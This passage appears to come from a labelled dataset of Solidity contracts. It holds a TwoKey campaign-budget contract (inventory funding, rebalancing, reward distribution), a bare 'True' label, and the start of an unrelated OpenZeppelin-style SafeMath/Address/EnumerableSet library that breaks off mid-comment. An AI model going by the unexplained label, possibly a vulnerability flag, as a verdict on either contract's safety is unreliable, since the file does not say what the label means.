keccak256(_campaignPlasma2bountyPerConversion2KEY, campaignPlasma),
bountyPerConversion2KEY
);
// Set rate at which 2KEY is put to campaign
setUint(
keccak256(_campaignPlasma2initialRate, campaignPlasma),
rate
);
// Set that campaign is budgeted directly with 2KEY tokens
setBool(
keccak256(_campaignPlasma2isBudgetedWith2KeyDirectly, campaignPlasma),
true
);
// Take 2KEY tokens from the contractor
IERC20(getNonUpgradableContractAddressFromTwoKeySingletonRegistry("TwoKeyEconomy")).transferFrom(
msg.sender,
address(this),
amountOf2KEYTokens
);
}
/**
* @notice Function which will be used in order to add inventory for campaign
* directly with stable coin tokens. In order to make this
* transfer secure,
* user will firstly have to approve this contract to take from him
* amount of tokens and then call contract function which will execute
* transferFrom action. This function can be called only once.
*
* @param campaignPlasma is the plasma campaign address which is user adding inventory for.
* @param amountOfStableCoins is the amount of stable coins user adds to budget
* @param tokenAddress is stableCoinAddress
*/
function addInventory(
address campaignPlasma,
uint amountOfStableCoins,
uint bountyPerConversionFiat,
address tokenAddress
)
public
{
// Set that contractor is the msg.sender of this method for the campaign passed
setAddress(keccak256(_campaignPlasma2contractor, campaignPlasma), msg.sender);
address twoKeyUpgradableExchange = getAddressFromTwoKeySingletonRegistry("TwoKeyUpgradableExchange");
// Handle case for Tether due to different ERC20 interface it has
if (tokenAddress == getNonUpgradableContractAddressFromTwoKeySingletonRegistry("USDT")) {
// Take stable coins from the contractor and directly transfer them to upgradable exchange
ITether(tokenAddress).transferFrom(
msg.sender,
twoKeyUpgradableExchange,
amountOfStableCoins
);
} else {
// Take stable coins from the contractor and directly transfer them to upgradable exchange
IERC20(tokenAddress).transferFrom(
msg.sender,
twoKeyUpgradableExchange,
amountOfStableCoins
);
}
uint totalTokensBought;
uint tokenPrice;
// Buy tokens
(totalTokensBought, tokenPrice) = IUpgradableExchange(twoKeyUpgradableExchange).buyTokensWithERC20(amountOfStableCoins, tokenAddress);
// Calculate and set bounty per conversion in 2KEY units
uint bountyPerConversion2KEY = bountyPerConversionFiat.mul(10 ** 18).div(tokenPrice);
// Require that budget is not previously set and set initial budget to amount of 2KEY tokens
requireBudgetNotSetAndSetBudget(campaignPlasma, totalTokensBought);
// SSTORE 20k gas * 3 = 60k 3x uint ==> 256 bytes * 3 * 8 = 6144 gas
// 375 gas + 5 gas for each byte
// 10% 60000 - 6144 = 53856 saving
setUint(
keccak256(_campaignPlasma2bountyPerConversion2KEY, campaignPlasma),
bountyPerConversion2KEY
);
setUint(
keccak256(_campaignPlasma2amountOfStableCoins, campaignPlasma),
amountOfStableCoins
);
// Set stable coin which is used to budget campaign
setAddress(
keccak256(_campaignPlasma2StableCoinAddress, campaignPlasma),
tokenAddress
);
// Set the rate at which we have bought 2KEY tokens
setUint(
keccak256(_campaignPlasma2initialRate, campaignPlasma),
tokenPrice
);
}
/**
* @notice Function where contractor can withdraw if there's any leftover on his campaign
* @param campaignPlasmaAddress is plasma address of campaign
*/
function withdrawLeftoverForContractor(
address campaignPlasmaAddress
)
public
{
// Require that this function is possible to call only by contractor
require(
getAddress(keccak256(_campaignPlasma2contractor,campaignPlasmaAddress)) == msg.sender
);
// Get the leftover for contractor
uint leftoverForContractor = getUint(
keccak256(_campaignPlasmaToLeftOverForContractor, campaignPlasmaAddress)
);
// Check that he has some leftover which can be zero in case that campaign is not ended yet
require(leftoverForContractor > 0);
// Generate key if contractor have withdrawn his leftover for specific campaign
bytes32 key = keccak256(_campaignPlasmaToLeftoverWithdrawnByContractor, campaignPlasmaAddress);
// Require that he didn't withdraw it
require(getBool(key) == false);
// State that now he has withdrawn the tokens.
setBool(key, true);
transfer2KEY(
msg.sender,
leftoverForContractor
);
}
/**
* ------------------------------------
* Maintainer actions
* ------------------------------------
*/
/**
* @notice Function to end selected budget campaign by maintainer, and perform
* actions regarding rebalancing, reserving tokens, and distributing
* moderator earnings, as well as calculating leftover for contractor
*
* @param campaignPlasma is the plasma address of the campaign
* @param totalAmountForReferrerRewards is the total amount before rebalancing referrers earned
* @param totalAmountForModeratorRewards is the total amount moderator earned before rebalancing
*/
function endCampaignReserveTokensAndRebalanceRates(
address campaignPlasma,
uint totalAmountForReferrerRewards,
uint totalAmountForModeratorRewards
)
public
onlyMaintainer
{
// Generate key for storage variable isCampaignEnded
bytes32 keyIsCampaignEnded = keccak256(_campaignPlasma2isCampaignEnded, campaignPlasma);
// Require that campaign is not ended yet
require(getBool(keyIsCampaignEnded) == false);
// End campaign
setBool(keyIsCampaignEnded, true);
// Get how many tokens were inserted at the beginning
uint initialBountyForCampaign = getInitialBountyForCampaign(campaignPlasma);
// Rebalancing everything except referrer rewards
uint amountToRebalance = initialBountyForCampaign.sub(totalAmountForReferrerRewards);
// Amount after rebalancing is initially amount to rebalance
uint amountAfterRebalancing = amountToRebalance;
// Initially rebalanced moderator rewards are total moderator rewards
uint rebalancedModeratorRewards = totalAmountForModeratorRewards;
// Initial ratio is 1
uint rebalancingRatio = 10**18;
if(getIsCampaignBudgetedDirectlyWith2KEY(campaignPlasma) == false) {
// If budget added as stable coin we do rebalancing
(amountAfterRebalancing, rebalancingRatio)
= rebalanceRates(
getInitial2KEYRateForCampaign(campaignPlasma),
amountToRebalance
);
rebalancedModeratorRewards = totalAmountForModeratorRewards.mul(rebalancingRatio).div(10**18);
}
uint leftoverForContractor = amountAfterRebalancing.sub(rebalancedModeratorRewards);
// Set moderator earnings for this campaign and immediately distribute them
setAndDistributeModeratorEarnings(campaignPlasma, rebalancedModeratorRewards);
// Set total amount to use for referrers
setUint(
keccak256(_campaignPlasma2ReferrerRewardsTotal, campaignPlasma),
totalAmountForReferrerRewards
);
// Leftover for contractor
setUint(
keccak256(_campaignPlasmaToLeftOverForContractor, campaignPlasma),
leftoverForContractor
);
// Set rebalancing ratio for campaign
setRebalancingRatioForCampaign(campaignPlasma, rebalancingRatio);
// Emit an event to checksum all the balances per campaign
ITwoKeyEventSource(getAddressFromTwoKeySingletonRegistry("TwoKeyEventSource"))
.emitEndedBudgetCampaign(
campaignPlasma,
leftoverForContractor,
rebalancedModeratorRewards
);
}
/**
* @notice Function to distribute rewards between influencers, increment global cycle id,
* and update how much rewards are ever being distributed from this contract
*
* @param influencers is the array of influencers
* @param balances is the array of corresponding balances for the influencers above
*
*/
function pushAndDistributeRewardsBetweenInfluencers(
address [] influencers,
uint [] balances,
uint nonRebalancedTotalPayout,
uint rebalancedTotalPayout,
uint cycleId,
uint feePerReferrerIn2KEY
)
public
onlyMaintainer
{
// Get the address of 2KEY token
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry("TwoKeyEconomy");
// Get the address of twoKeyUpgradableExchange contract
address twoKeyUpgradableExchange = getAddressFromTwoKeySingletonRegistry("TwoKeyUpgradableExchange");
// Total distributed in cycle
uint totalDistributed;
// Iterator
uint i;
uint difference;
// Leads to we need to return some tokens back to Upgradable Exchange
if(nonRebalancedTotalPayout > rebalancedTotalPayout) {
difference = nonRebalancedTotalPayout.sub(rebalancedTotalPayout);
IERC20(twoKeyEconomy).approve(twoKeyUpgradableExchange, difference);
IUpgradableExchange(twoKeyUpgradableExchange).returnTokensBackToExchangeV1(difference);
ITwoKeyEventSource(getAddressFromTwoKeySingletonRegistry("TwoKeyEventSource")).emitRebalancedRewards(
cycleId,
difference,
"RETURN_TOKENS_TO_EXCHANGE"
);
} else if (nonRebalancedTotalPayout < rebalancedTotalPayout) {
// Leads to we need to get more tokens from Upgradable Exchange
difference = rebalancedTotalPayout.sub(nonRebalancedTotalPayout);
IUpgradableExchange(twoKeyUpgradableExchange).getMore2KeyTokensForRebalancingV1(difference);
ITwoKeyEventSource(getAddressFromTwoKeySingletonRegistry("TwoKeyEventSource")).emitRebalancedRewards(
cycleId,
difference,
"GET_TOKENS_FROM_EXCHANGE"
);
}
uint numberOfReferrers = influencers.length;
// Iterate through all influencers, distribute them rewards, and account amount received per cycle id
for (i = 0; i < numberOfReferrers; i++) {
// Require that referrer earned more than fees
require(balances[i] > feePerReferrerIn2KEY);
// Sub fee per referrer from balance to pay
uint balance = balances[i].sub(feePerReferrerIn2KEY);
// Transfer required tokens to influencer
IERC20(twoKeyEconomy).transfer(influencers[i], balance);
// Sum up to totalDistributed to referrers
totalDistributed = totalDistributed.add(balance);
}
transferFeesToAdmin(feePerReferrerIn2KEY, numberOfReferrers, twoKeyEconomy);
// Set how much is total distributed per distribution cycle
setUint(
keccak256(_distributionCycleToTotalDistributed, cycleId),
totalDistributed
);
}
/**
* ------------------------------------------------
* Internal functions performing logic operations
* ------------------------------------------------
*/
/**
* @notice Function to transfer fees taken from referrer rewards to admin contract
* @param feePerReferrer is fee taken per referrer equaling 0.5$ in 2KEY at the moment
* @param numberOfReferrers is number of referrers being rewarded in this cycle
* @param twoKeyEconomy is 2KEY token contract
*/
function transferFeesToAdmin(
uint feePerReferrer,
uint numberOfReferrers,
address twoKeyEconomy
)
internal
{
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry("TwoKeyAdmin");
IERC20(twoKeyEconomy).transfer(
twoKeyAdmin,
feePerReferrer.mul(numberOfReferrers)
);
// Update in admin tokens receiving from fees
ITwoKeyAdmin(twoKeyAdmin).updateTokensReceivedFromDistributionFees(feePerReferrer.mul(numberOfReferrers));
}
/**
* @notice Function to set how many tokens are being distributed to moderator
* as well as distribute them.
* @param campaignPlasma is the plasma address of selected campaign
* @param rebalancedModeratorRewards is the amount for moderator after rebalancing
*/
function setAndDistributeModeratorEarnings(
address campaignPlasma,
uint rebalancedModeratorRewards
)
internal
{
// Account amount moderator earned on this campaign
setUint(
keccak256(_campaignPlasmaToModeratorEarnings, campaignPlasma),
rebalancedModeratorRewards
);
// Get twoKeyAdmin address
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry("TwoKeyAdmin");
// Transfer 2KEY tokens to moderator
transfer2KEY(
twoKeyAdmin,
rebalancedModeratorRewards
);
// Update moderator on received tokens so it can proceed distribution to TwoKeyDeepFreezeTokenPool
ITwoKeyAdmin(twoKeyAdmin).updateReceivedTokensAsModeratorPPC(rebalancedModeratorRewards, campaignPlasma);
}
/**
* @notice Function to require that initial budget is not set, which
* will prevent any way of adding inventory to specific campaigns
* after it's first time added
* @param campaignPlasma is campaign plasma address
*/
function requireBudgetNotSetAndSetBudget(
address campaignPlasma,
uint amount2KEYTokens
)
internal
{
bytes32 keyHashForInitialBudget = keccak256(_campaignPlasma2initialBudget2Key, campaignPlasma);
// Require that initial budget is not being added, since it can be done only once.
require(getUint(keyHashForInitialBudget) == 0);
// Set initial budget added
setUint(keyHashForInitialBudget, amount2KEYTokens);
}
function rebalanceRates(
uint initial2KEYRate,
uint amountOfTokensToRebalance
)
internal
returns (uint,uint)
{
// Load twoKeyEconomy address
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry("TwoKeyEconomy");
// Load twoKeyUpgradableExchange address
address twoKeyUpgradableExchange = getAddressFromTwoKeySingletonRegistry("TwoKeyUpgradableExchange");
// Take the current usd to 2KEY rate against we're rebalancing contractor leftover and moderator rewards
uint usd2KEYRateWeiNow = IUpgradableExchange(twoKeyUpgradableExchange).sellRate2key();
// Ratio is initial rate divided by new rate, so if rate went up, this will be less than 1
uint rebalancingRatio = initial2KEYRate.mul(10**18).div(usd2KEYRateWeiNow);
// Calculate new rebalanced amount of tokens
uint rebalancedAmount = amountOfTokensToRebalance.mul(rebalancingRatio).div(10**18);
// If price went up, leads to ratio is going to be less than 10**18
if(rebalancingRatio < 10**18) {
// Calculate how much tokens should be given back to exchange
uint tokensToGiveBackToExchange = amountOfTokensToRebalance.sub(rebalancedAmount);
// Approve upgradable exchange to take leftover back
IERC20(twoKeyEconomy).approve(twoKeyUpgradableExchange, tokensToGiveBackToExchange);
// Call the function to release all DAI for this contract to reserve and to take approved amount of 2key back to liquidity pool
IUpgradableExchange(twoKeyUpgradableExchange).returnTokensBackToExchangeV1(tokensToGiveBackToExchange);
}
// Otherwise we assume that price went down, which leads that ratio will be greater than 10**18
else {
uint tokensToTakeFromExchange = rebalancedAmount.sub(amountOfTokensToRebalance);
// Get more tokens we need
IUpgradableExchange(twoKeyUpgradableExchange).getMore2KeyTokensForRebalancingV1(tokensToTakeFromExchange);
}
// Return new rebalanced amount as well as ratio against which rebalancing was done.
return (rebalancedAmount, rebalancingRatio);
}
/**
* ------------------------------------------------
* Internal getters and setters
* ------------------------------------------------
*/
function getUint(
bytes32 key
)
internal
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(key);
}
function setUint(
bytes32 key,
uint value
)
internal
{
PROXY_STORAGE_CONTRACT.setUint(key,value);
}
function getBool(
bytes32 key
)
internal
view
returns (bool)
{
return PROXY_STORAGE_CONTRACT.getBool(key);
}
function setBool(
bytes32 key,
bool value
)
internal
{
PROXY_STORAGE_CONTRACT.setBool(key,value);
}
function getAddress(
bytes32 key
)
internal
view
returns (address)
{
return PROXY_STORAGE_CONTRACT.getAddress(key);
}
function setAddress(
bytes32 key,
address value
)
internal
{
PROXY_STORAGE_CONTRACT.setAddress(key,value);
}
function equals(
string a,
string b
)
internal
pure
returns (bool) {
return keccak256(a) == keccak256(b) ? true : false;
}
/**
* @notice Function whenever called, will increment number of distribution cycles
*/
function incrementNumberOfDistributionCycles()
internal
{
bytes32 key = keccak256(_numberOfDistributionCycles);
setUint(key,getUint(key) + 1);
}
/**
* @notice Function to transfer 2KEY tokens
*
* @param receiver is the address of tokens receiver
* @param amount is the amount of tokens to be transfered
*/
function transfer2KEY(
address receiver,
uint amount
)
internal
{
IERC20(getNonUpgradableContractAddressFromTwoKeySingletonRegistry("TwoKeyEconomy")).transfer(
receiver,
amount
);
}
/**
* @notice Internal setter function to store how much stable coins were
* added to fund this campaign
* @param campaignPlasma is plasma campaign address
* @param amountOfStableCoins is the amount used for campaign funding
*/
function setAmountOfStableCoinsUsedToFundCampaign(
address campaignPlasma,
uint amountOfStableCoins
)
internal
{
setUint(
keccak256(_campaignPlasma2amountOfStableCoins, campaignPlasma),
amountOfStableCoins
);
}
function setRebalancingRatioForCampaign(
address campaignPlasma,
uint rebalancingRatio
)
internal
{
setUint(
keccak256(_campaignPlasma2rebalancingRatio, campaignPlasma),
rebalancingRatio
);
}
/**
* ------------------------------------------------
* Public getters
* ------------------------------------------------
*/
/**
* @notice Function to return rebalancing ratio for specific campaign,
* in case campaign was funded with 2KEY will return 1 ETH as neutral
* @param campaignPlasma is plasma campaign address
*/
function getRebalancingRatioForCampaign(
address campaignPlasma
)
public
view
returns (uint)
{
uint ratio = getUint(keccak256(_campaignPlasma2rebalancingRatio, campaignPlasma));
return ratio != 0 ? ratio : 10**18;
}
/**
* @notice Function to get number of distribution cycles ever
*/
function getNumberOfCycles()
public
view
returns (uint)
{
return getUint(keccak256(_numberOfDistributionCycles));
}
/**
* @notice Function to get how much was initial bounty for selected camapaign in 2KEY tokens
*
* @param campaignPlasma is the plasma address of the campaign
*/
function getInitialBountyForCampaign(
address campaignPlasma
)
public
view
returns (uint)
{
return getUint(keccak256(_campaignPlasma2initialBudget2Key, campaignPlasma));
}
/**
* @notice Function to retrieve the initial rate at which 2KEY tokens were bought if
* were bought at all. Otherwise it returns 0.
* @param campaignPlasma is plasma address of the campaign
*/
function getInitial2KEYRateForCampaign(
address campaignPlasma
)
public
view
returns (uint)
{
return getUint(keccak256(_campaignPlasma2initialRate, campaignPlasma));
}
/**
* @notice Function to get how much is distributed in cycle
* @param cycleId is the ID of that cycle
*/
function getTotalDistributedInCycle(
uint cycleId
)
public
view
returns (uint)
{
return getUint(keccak256(_distributionCycleToTotalDistributed, cycleId));
}
/**
* @notice Function to get moderator rebalanced earnings for this campaign
* @param campaignAddress is plasma campaign address
*/
function getModeratorEarningsRebalancedForCampaign(
address campaignAddress
)
public
view
returns (uint)
{
return (
getUint(keccak256(_campaignPlasmaToModeratorEarnings, campaignAddress)) //moderator earnings)
);
}
/**
* @notice Function to get contractor rebalanced leftover for campaign
* @param campaignAddress is plasma campaign address
*/
function getContractorRebalancedLeftoverForCampaign(
address campaignAddress
)
public
view
returns (uint)
{
return (
getUint(keccak256(_campaignPlasmaToLeftOverForContractor, campaignAddress)) // contractor leftover
);
}
/**
* @notice Function to get moderator earnings and contractor leftover after we rebalanced campaign
* @param campaignAddress is the address of campaign
*/
function getModeratorEarningsAndContractorLeftoverRebalancedForCampaign(
address campaignAddress
)
public
view
returns (uint,uint)
{
return (
getModeratorEarningsRebalancedForCampaign(campaignAddress),
getContractorRebalancedLeftoverForCampaign(campaignAddress)
);
}
function getIfLeftoverForCampaignIsWithdrawn(
address campaignPlasma
)
public
view
returns (bool)
{
bool isWithdrawn = getBool(keccak256(_campaignPlasmaToLeftoverWithdrawnByContractor, campaignPlasma));
return isWithdrawn;
}
function getNonRebalancedReferrerRewards(
address campaignPlasma
)
public
view
returns (uint)
{
return getUint(keccak256(_campaignPlasma2ReferrerRewardsTotal, campaignPlasma));
}
/**
* @notice Function to get balance of stable coins on this contract
* @param stableCoinsAddresses is the array of stable coins addresses we want to fetch
* balances for
*/
function getBalanceOfStableCoinsOnContract(
address [] stableCoinsAddresses
)
public
view
returns (uint[])
{
uint len = stableCoinsAddresses.length;
uint [] memory balances = new uint[](len);
uint i;
for(i = 0; i < len; i++) {
balances[i] = IERC20(stableCoinsAddresses[i]).balanceOf(address(this));
}
return balances;
}
/**
* @notice Function to check amount of stable coins used to func ppc campaign
* @param campaignPlasma is campaign plasma address
*/
function getAmountOfStableCoinsUsedToFundCampaign(
address campaignPlasma
)
public
view
returns (uint)
{
return getUint(keccak256(_campaignPlasma2amountOfStableCoins, campaignPlasma));
}
/**
* @notice Function to return bounty per conversion in 2KEY tokens
* @param campaignPlasma is plasma campaign of address requested
*/
function getBountyPerConversion2KEY(
address campaignPlasma
)
public
view
returns (uint)
{
return getUint(
keccak256(_campaignPlasma2bountyPerConversion2KEY, campaignPlasma)
);
}
/**
* @notice Function to check if campaign is budgeted directly with 2KEY
*/
function getIsCampaignBudgetedDirectlyWith2KEY(
address campaignPlasma
)
public
view
returns (bool)
{
return getBool(keccak256(_campaignPlasma2isBudgetedWith2KeyDirectly, campaignPlasma));
}
function getStableCoinAddressUsedToFundCampaign(
address campaignPlasma
)
public
view
returns (address)
{
return getAddress(keccak256(_campaignPlasma2StableCoinAddress, campaignPlasma));
}
/**
* @notice Function to return summary related to specific campaign
* @param campaignPlasma is plasma campaign of address
*/
function getCampaignSummary(
address campaignPlasma
)
public
view
returns (bytes)
{
return (
abi.encodePacked(
getInitialBountyForCampaign(campaignPlasma),
getBountyPerConversion2KEY(campaignPlasma),
getAmountOfStableCoinsUsedToFundCampaign(campaignPlasma),
getInitial2KEYRateForCampaign(campaignPlasma),
getContractorRebalancedLeftoverForCampaign(campaignPlasma),
getModeratorEarningsRebalancedForCampaign(campaignPlasma),
getRebalancingRatioForCampaign(campaignPlasma),
getNonRebalancedReferrerRewards(campaignPlasma),
getIfLeftoverForCampaignIsWithdrawn(campaignPlasma)
)
);
}
/**
* @notice Function to fetch inital params computed while adding inventory
* @param campaignPlasma is the plasma address of the campaign being requested
*/
function getInitialParamsForCampaign(
address campaignPlasma
)
public
view
returns (uint,uint,uint,bool,address)
{
return (
getInitialBountyForCampaign(campaignPlasma), // initial bounty for campaign
getBountyPerConversion2KEY(campaignPlasma), // bounty per conversion in 2KEY tokens
getInitial2KEYRateForCampaign(campaignPlasma), // rate at the moment of inventory adding
getIsCampaignBudgetedDirectlyWith2KEY(campaignPlasma), // Get if campaign is funded directly with 2KEY
getCampaignContractor(campaignPlasma) // get contractor of campaign
);
}
function getCampaignContractor(
address campaignAddress
)
public
view
returns (address)
{
return getAddress(keccak256(_campaignPlasma2contractor, campaignAddress));
}
/**
*
*/
function getRequiredBudget2KEY(
string fiatCurrency,
uint fiatBudgetAmount
)
public
view
returns (uint)
{
// GET 2KEY - USD rate
uint rate = IUpgradableExchange(getAddressFromTwoKeySingletonRegistry("TwoKeyUpgradableExchange")).sellRate2key();
// For now ignore fiat currency assuming it's USD always
return fiatBudgetAmount.mul(10 ** 18).div(rate);
}
function getFeePerCycleIdPerReferrer(
uint cycleId
)
public
view
returns (uint)
{
return getUint(keccak256(_feePerCycleIdPerReferrer, cycleId));
}
}
|
True
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// SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
